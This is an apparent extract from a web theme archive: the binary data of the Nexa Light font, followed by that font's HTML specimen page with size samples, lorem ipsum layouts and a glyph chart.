�!+��99013>73#&5#46$46o��q�8bdǜ��d�QQQeQQQ���ac���͞���F"d))d))d))d)#�Z��	�+�/�+013#%573#��jim�tw�%����N�����%V���w�Z{�Q�+��+�+��/�/�ֱ�22��+�	
�+��9��	999013>3#"&'326&#"w^=��P��l��?믴�鵱�Z>�lu����|ɂE�{�q�������#�Z��	8�+�3�/�
ֱ��+��+�
�99��99013#462&%462&#��jim�tw�V0:0MM�0:0MM��N�����%Vb$))$/''/$))$/''m��/�*��+�3��+� �+��+�%�
+���+/�ֱ��"+��2�"
+�@
	+�@	+�@	+�,+�"�%$9� �"9��9��#9014>32!!!!!!#".7327&#"m9u��OC?���H��KC��v9lO��KCCKxːd0�uո�Mc��d��b
O���q|�k�Ex��f���#.5��+�!3��&2�+�
3�,�32�/
+���6/�ֱ$
�$�)+��/2��0+��7+�)$�!99��99�0�
999��9��999�/�$)999�,�9014>32>32 3267#"&'#"7 654&#"!.#"f�鏠�77�n��D�����h�7HG�~��57���c�b����'׹���������D�ߏ��QI:^d�������������
+�/�ֱ��+��+��$90135#	#$46$46/o1����:PQQfQQQ�����=[��d))d))d))d)J��-�+�	+�2�	/�ִ+�
+��90153#'J#Q#l������?�;�V�+�	3�
	+�+�
	+�/�ִ+��	+�
+�+�	�99�
�$901>67/&?Ja4T1*EJa4T$N;J-
"!=J-0wPD�5!w�PjjwPD�5!w�PjjwPD�5!w�PjjB=���/����/�+015!B�=iiP=���/����/�+015!Pl=iiV5��+�	+�/�ֱ�+013V�Zj��T3��+�	+�/�ֱ�+013Tju���N�J��
�/�ֱ�+��
99017&546N?1QQR��72))2�R3�:�+�3�	+�2�/�ֱ��+��	+��9901333R�Zj��Zj����T5�:�+�3�	+�2�/�ֱ��+�
�	+��9901333Tju��kt�����N�J�
6�/�ֱ��+��+��
99��9��99017&54637&546N?1QQR�?1QQR��72))2Ѫ72))2�d��	.�/�	+�	+�
/�ִ+�+�+014632#"dqXUppUWs�ll�mJ����)�/�ֱ��+�
�
�
+��+01646$46$46JQQQQQQ
QQQd))d))d))d))d))d)=��J�/�ִ+�	+��9013	#=k��k���J�Jf��J!�/�ְ2�+�	+��90175	53	f��k������?�>��T�+a�(+�#�+��(
+�3��2�(
+�3��2�,/�ֱ
�-+��	+99�#�%9��90153&547#53>32&# !!!!!27# vv�i���Yr\X���'/���"(tm���1-^,+^~ҟYX��^)0^��)b-,=\d�t�+�	33��2�
+�@	+�22�/�ֱ�
+�@	+�
+�@	+��+���+��+��
9��9��9015!##33##=0�`�Z��V`��HRR��>��-������Z��1!���

9�h�+�3�+��+�3��2�/�ְ2��2�
+�@	+��+�
�
2�+��9��9��
9015354>.!#!#
�9_}��:-&agcN0�d�fb�XRV�V00.L&
8oLR���d�
�n�+�	3�+�
�
+�3��2�/�ְ2��2�
+�@	+�
+�@	+��
+�	
�+�
�9�
�99015354632#&#"!!#
ύ��fd9_ed��b�VZ��a��+r�ZV�j�,H�k_<��}��}��#�mXX�E��#����D3�b�o�;)�*������%Z;d�N�w�J|��H�IVBLGd�?pF`R�j�\�D�m�Z-Dhm���^�b7�y�����;����nJ��f�����nF;�?D1�'�v�d\+=�7�|��n# �;�9�q
5�9�7
X=zq�T��#�q|qZq�q�B�q�;"q�5&�o���"#�1�B�b%p3�`�yMy~X�mO^����P�=�N�wO��x&���=u�P|dnJ^-AhAf�?5�~�bo-T�������������������b7������������������������nFnFnFnFnFfNnFv�v�v�v�;��u�9�9�9�9�9�9V9
5�7�7�7�7`��hT�������?�q�B�B�B�B�B�J�B�o�o�o�o"#�w"#�m�f^J�?�X�Xr�99�xh�w�w�wdB;P�V�T�N�R�T�N�d=Jx`=`f��=��
�
,,,,V�`D�����^����b�
��N��	B	j	�	�	�

x6h�8���
r
�
�Fl��P�xb���X���*\���z� ��p��F|�D��D~�,v��.V��v���&�~� 
 � �!~!�""@"N"�#,#x#�$^$�$�$�%.%b%�%�&v''�(f(�(�(�)P)�)�*H*�++,+R+�+�+�,,<,�--r-�.P.�/p/�0$0r0�1
1h1�1�2h2�3L3�4N4�5d66�6�7l7�8b8�8�8�99�::t:�;0;�<"<P<�==l=�>>J>�>�?|@@^@�@�@�@�@�@�@�@�@�@�@�@�@�@�@�AAA2APAnA�A�A�B6BbB�B�B�B�B�CZC�C�D(D��\��	v	v	�	@�	$�	�		Z(	�		�	
F�	,	,0	�\	�0rCopyright (c) 2010 by Svetoslav Simov. All rights reserved.Nexa LightRegularSvetoslavSimov: Nexa Light: 2012Nexa Light RegularVersion 1.000NexaLightNexa Light is a trademark of Svetoslav Simov.Svetoslav SimovSvetoslav SimovModern and elegant sans serif font.http://fontfabric.com/http://fontfabric.com/Webfont 1.0Fri Oct 11 10:51:55 2013�gf�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~����������	

�������������glyph1uni000Duni00A0uni00ADuni00B2uni00B3uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205FEurouniE000uniFB01uniFB02�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E��+�+D� E�n+�+D� E�F+�+D� E�+�+D� E��+�+D�	 E�+�+D�
 E�+D� E�
+�Fv+D� E�#+�Fv+D�
 E��+�Fv+D� E�
O+�Fv+D� E�:+�Fv+D� E�%+�Fv+D� E�#+�Fv+D� E�@+�Fv+DY�+RX�PK!�2F���0bluetheme/assets/fonts/Nexa/nexa_light-demo.htmlnu&1i�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript" charset="utf-8"></script>
	<script src="specimen_files/easytabs.js" type="text/javascript" charset="utf-8"></script>
	<link rel="stylesheet" href="specimen_files/specimen_stylesheet.css" type="text/css" charset="utf-8" />
	<link rel="stylesheet" href="stylesheet.css" type="text/css" charset="utf-8" />

	<style type="text/css">
					body{
				font-family: 'nexa_lightregular';
							}
		</style>

	<title>Nexa Light Regular Specimen</title>
	
	
	<script type="text/javascript" charset="utf-8">
		$(document).ready(function() {
			$('#container').easyTabs({defaultContent:1});
		});
	</script>
</head>

<body>
<div id="container">
	<div id="header">
		Nexa Light Regular	</div>
	<ul class="tabs">
		<li><a href="#specimen">Specimen</a></li>
		<li><a href="#layout">Sample Layout</a></li>
				<li><a href="#glyphs">Glyphs &amp; Languages</a></li>
		<li><a href="#installing">Installing Webfonts</a></li>
		
	</ul>
	
	<div id="main_content">

		
			<div id="specimen">
		
				<div class="section">
					<div class="grid12 firstcol">
						<div class="huge">AaBb</div>
					</div>
				</div>
		
				<div class="section">
					<div class="glyph_range">A&#x200B;B&#x200b;C&#x200b;D&#x200b;E&#x200b;F&#x200b;G&#x200b;H&#x200b;I&#x200b;J&#x200b;K&#x200b;L&#x200b;M&#x200b;N&#x200b;O&#x200b;P&#x200b;Q&#x200b;R&#x200b;S&#x200b;T&#x200b;U&#x200b;V&#x200b;W&#x200b;X&#x200b;Y&#x200b;Z&#x200b;a&#x200b;b&#x200b;c&#x200b;d&#x200b;e&#x200b;f&#x200b;g&#x200b;h&#x200b;i&#x200b;j&#x200b;k&#x200b;l&#x200b;m&#x200b;n&#x200b;o&#x200b;p&#x200b;q&#x200b;r&#x200b;s&#x200b;t&#x200b;u&#x200b;v&#x200b;w&#x200b;x&#x200b;y&#x200b;z&#x200b;1&#x200b;2&#x200b;3&#x200b;4&#x200b;5&#x200b;6&#x200b;7&#x200b;8&#x200b;9&#x200b;0&#x200b;&amp;&#x200b;.&#x200b;,&#x200b;?&#x200b;!&#x200b;&#64;&#x200b;(&#x200b;)&#x200b;#&#x200b;$&#x200b;%&#x200b;*&#x200b;+&#x200b;-&#x200b;=&#x200b;:&#x200b;;</div>
				</div>
				<div class="section">
					<div class="grid12 firstcol">
						<table class="sample_table">
							<tr><td>10</td><td class="size10">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>11</td><td class="size11">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>12</td><td class="size12">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>13</td><td class="size13">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>14</td><td class="size14">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>16</td><td class="size16">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>18</td><td class="size18">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>20</td><td class="size20">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>24</td><td class="size24">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>30</td><td class="size30">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>36</td><td class="size36">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>48</td><td class="size48">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>60</td><td class="size60">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>72</td><td class="size72">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>90</td><td class="size90">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
						</table>
				
					</div>
			
				</div>
		
		
		
								<div class="section" id="bodycomparison">


										<div id="xheight">
				<div class="fontbody">&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;body</div><div class="arialbody">body</div><div class="verdanabody">body</div><div class="georgiabody">body</div></div>
										<div class="fontbody" style="z-index:1">
											body<span>Nexa Light Regular</span>
										</div>
										<div class="arialbody" style="z-index:1">
											body<span>Arial</span>
										</div>
										<div class="verdanabody" style="z-index:1">
											body<span>Verdana</span>
										</div>
										<div class="georgiabody" style="z-index:1">
											body<span>Georgia</span>
										</div>



								</div>
		
		
				<div class="section psample psample_row1" id="">
					
					<div class="grid2 firstcol">
						<p class="size10"><span>10.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid3">
						<p class="size11"><span>11.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid3">
						<p class="size12"><span>12.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid4">
						<p class="size13"><span>13.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="white_blend"></div>
					
				</div>
				<div class="section psample psample_row2" id="">
					<div class="grid3 firstcol">
						<p class="size14"><span>14.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid4">
						<p class="size16"><span>16.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid5">
						<p class="size18"><span>18.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>

					<div class="white_blend"></div>

				</div>
				
				<div class="section psample psample_row3" id="">
					<div class="grid5 firstcol">
						<p class="size20"><span>20.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					<div class="grid7">
						<p class="size24"><span>24.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					
					<div class="white_blend"></div>
					
				</div>
				
				<div class="section psample psample_row4" id="">
					<div class="grid12 firstcol">
						<p class="size30"><span>30.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					<div class="white_blend"></div>
					
				</div>
				
				
				
				<div class="section psample psample_row1 fullreverse">
					<div class="grid2 firstcol">
						<p class="size10"><span>10.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid3">
						<p class="size11"><span>11.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid3">
						<p class="size12"><span>12.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid4">
						<p class="size13"><span>13.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="black_blend"></div>
					
				</div>
				
				<div class="section psample psample_row2 fullreverse">
					<div class="grid3 firstcol">
						<p class="size14"><span>14.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid4">
						<p class="size16"><span>16.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid5">
						<p class="size18"><span>18.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="black_blend"></div>

				</div>
				
				<div class="section psample fullreverse psample_row3" id="">
					<div class="grid5 firstcol">
						<p class="size20"><span>20.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					<div class="grid7">
						<p class="size24"><span>24.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					
					<div class="black_blend"></div>
					
				</div>
				
				<div class="section psample fullreverse psample_row4" id="" style="border-bottom: 20px #000 solid;">
					<div class="grid12 firstcol">
						<p class="size30"><span>30.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					<div class="black_blend"></div>
					
				</div>
				
				
				
				
			</div>
			
			<div id="layout">
				
				<div class="section">
					
					<div class="grid12 firstcol">
						<h1>Lorem Ipsum Dolor</h1>
						<h2>Etiam porta sem malesuada magna mollis euismod</h2>
						
						<p class="byline">By <a href="#link">Aenean Lacinia</a></p>
					</div>
				</div>
				<div class="section">
					<div class="grid8 firstcol">
						<p class="large">Donec sed odio dui. Morbi leo risus, porta ac consectetur ac, vestibulum at eros. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. </p>

						
						<h3>Pellentesque ornare sem</h3>

						<p>Maecenas sed diam eget risus varius blandit sit amet non magna. Maecenas faucibus mollis interdum. Donec ullamcorper nulla non metus auctor fringilla. Nullam id dolor id nibh ultricies vehicula ut id elit. Nullam id dolor id nibh ultricies vehicula ut id elit. </p>

						<p>Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. </p>

						<p>Nulla vitae elit libero, a pharetra augue. Praesent commodo cursus magna, vel scelerisque nisl consectetur et. Aenean lacinia bibendum nulla sed consectetur. </p>

						<p>Nullam quis risus eget urna mollis ornare vel eu leo. Nullam quis risus eget urna mollis ornare vel eu leo. Maecenas sed diam eget risus varius blandit sit amet non magna. Donec ullamcorper nulla non metus auctor fringilla. </p>

						<h3>Cras mattis consectetur</h3>

						<p>Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Aenean lacinia bibendum nulla sed consectetur. Integer posuere erat a ante venenatis dapibus posuere velit aliquet. Cras mattis consectetur purus sit amet fermentum. </p>

						<p>Nullam id dolor id nibh ultricies vehicula ut id elit. Nullam quis risus eget urna mollis ornare vel eu leo. Cras mattis consectetur purus sit amet fermentum.</p>
					</div>
					
					<div class="grid4 sidebar">
						
						<div class="box reverse">
							<p class="last">Nullam quis risus eget urna mollis ornare vel eu leo. Donec ullamcorper nulla non metus auctor fringilla. Cras mattis consectetur purus sit amet fermentum. Sed posuere consectetur est at lobortis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. </p>
						</div>
						
						<p class="caption">Maecenas sed diam eget risus varius.</p>

						<p>Vestibulum id ligula porta felis euismod semper. Integer posuere erat a ante venenatis dapibus posuere velit aliquet. Vestibulum id ligula porta felis euismod semper. Sed posuere consectetur est at lobortis. Maecenas sed diam eget risus varius blandit sit amet non magna. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. </p>

					

						<p>Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit. Aenean lacinia bibendum nulla sed consectetur. Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor. Aenean lacinia bibendum nulla sed consectetur. Nullam quis risus eget urna mollis ornare vel eu leo. </p>

						<p>Praesent commodo cursus magna, vel scelerisque nisl consectetur et. Donec ullamcorper nulla non metus auctor fringilla. Maecenas faucibus mollis interdum. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. </p>

					</div>
				</div>
				
			</div>


			



		<div id="glyphs">
			<div class="section">
				<div class="grid12 firstcol">
			
				<h1>Language Support</h1>
				<p>The subset of Nexa Light Regular in this kit supports the following languages:<br />
			
					Albanian, Danish, Dutch, English, Faroese, French, German, Icelandic, Italian, Malagasy, Norwegian, Portuguese, Spanish, Swedish				</p>
				<h1>Glyph Chart</h1>
				<p>The subset of Nexa Light Regular in this kit includes all the glyphs listed below. Unicode entities are included above each glyph to help you insert individual characters into your layout.</p>
				<div id="glyph_chart">
			
																														 <div><p>&amp;#13;</p>&#13;</div>
																				 <div><p>&amp;#32;</p>&#32;</div>
																				 <div><p>&amp;#33;</p>&#33;</div>
																				 <div><p>&amp;#34;</p>&#34;</div>
																				 <div><p>&amp;#35;</p>&#35;</div>
																				 <div><p>&amp;#36;</p>&#36;</div>
																				 <div><p>&amp;#37;</p>&#37;</div>
																				 <div><p>&amp;#38;</p>&#38;</div>
																				 <div><p>&amp;#39;</p>&#39;</div>
																				 <div><p>&amp;#40;</p>&#40;</div>
																				 <div><p>&amp;#41;</p>&#41;</div>
																				 <div><p>&amp;#42;</p>&#42;</div>
																				 <div><p>&amp;#43;</p>&#43;</div>
																				 <div><p>&amp;#44;</p>&#44;</div>
																				 <div><p>&amp;#45;</p>&#45;</div>
																				 <div><p>&amp;#46;</p>&#46;</div>
																				 <div><p>&amp;#47;</p>&#47;</div>
																				 <div><p>&amp;#48;</p>&#48;</div>
																				 <div><p>&amp;#49;</p>&#49;</div>
																				 <div><p>&amp;#50;</p>&#50;</div>
																				 <div><p>&amp;#51;</p>&#51;</div>
																				 <div><p>&amp;#52;</p>&#52;</div>
																				 <div><p>&amp;#53;</p>&#53;</div>
																				 <div><p>&amp;#54;</p>&#54;</div>
																				 <div><p>&amp;#55;</p>&#55;</div>
																				 <div><p>&amp;#56;</p>&#56;</div>
																				 <div><p>&amp;#57;</p>&#57;</div>
																				 <div><p>&amp;#58;</p>&#58;</div>
																				 <div><p>&amp;#59;</p>&#59;</div>
																				 <div><p>&amp;#60;</p>&#60;</div>
																				 <div><p>&amp;#61;</p>&#61;</div>
																				 <div><p>&amp;#62;</p>&#62;</div>
																				 <div><p>&amp;#63;</p>&#63;</div>
																				 <div><p>&amp;#64;</p>&#64;</div>
																				 <div><p>&amp;#65;</p>&#65;</div>
																				 <div><p>&amp;#66;</p>&#66;</div>
																				 <div><p>&amp;#67;</p>&#67;</div>
																				 <div><p>&amp;#68;</p>&#68;</div>
																				 <div><p>&amp;#69;</p>&#69;</div>
																				 <div><p>&amp;#70;</p>&#70;</div>
																				 <div><p>&amp;#71;</p>&#71;</div>
																				 <div><p>&amp;#72;</p>&#72;</div>
																				 <div><p>&amp;#73;</p>&#73;</div>
																				 <div><p>&amp;#74;</p>&#74;</div>
																				 <div><p>&amp;#75;</p>&#75;</div>
																				 <div><p>&amp;#76;</p>&#76;</div>
																				 <div><p>&amp;#77;</p>&#77;</div>
																				 <div><p>&amp;#78;</p>&#78;</div>
																				 <div><p>&amp;#79;</p>&#79;</div>
																				 <div><p>&amp;#80;</p>&#80;</div>
																				 <div><p>&amp;#81;</p>&#81;</div>
																				 <div><p>&amp;#82;</p>&#82;</div>
																				 <div><p>&amp;#83;</p>&#83;</div>
																				 <div><p>&amp;#84;</p>&#84;</div>
																				 <div><p>&amp;#85;</p>&#85;</div>
																				 <div><p>&amp;#86;</p>&#86;</div>
																				 <div><p>&amp;#87;</p>&#87;</div>
																				 <div><p>&amp;#88;</p>&#88;</div>
																				 <div><p>&amp;#89;</p>&#89;</div>
																				 <div><p>&amp;#90;</p>&#90;</div>
																				 <div><p>&amp;#91;</p>&#91;</div>
																				 <div><p>&amp;#92;</p>&#92;</div>
																				 <div><p>&amp;#93;</p>&#93;</div>
																				 <div><p>&amp;#94;</p>&#94;</div>
																				 <div><p>&amp;#95;</p>&#95;</div>
																				 <div><p>&amp;#96;</p>&#96;</div>
																				 <div><p>&amp;#97;</p>&#97;</div>
																				 <div><p>&amp;#98;</p>&#98;</div>
																				 <div><p>&amp;#99;</p>&#99;</div>
																				 <div><p>&amp;#100;</p>&#100;</div>
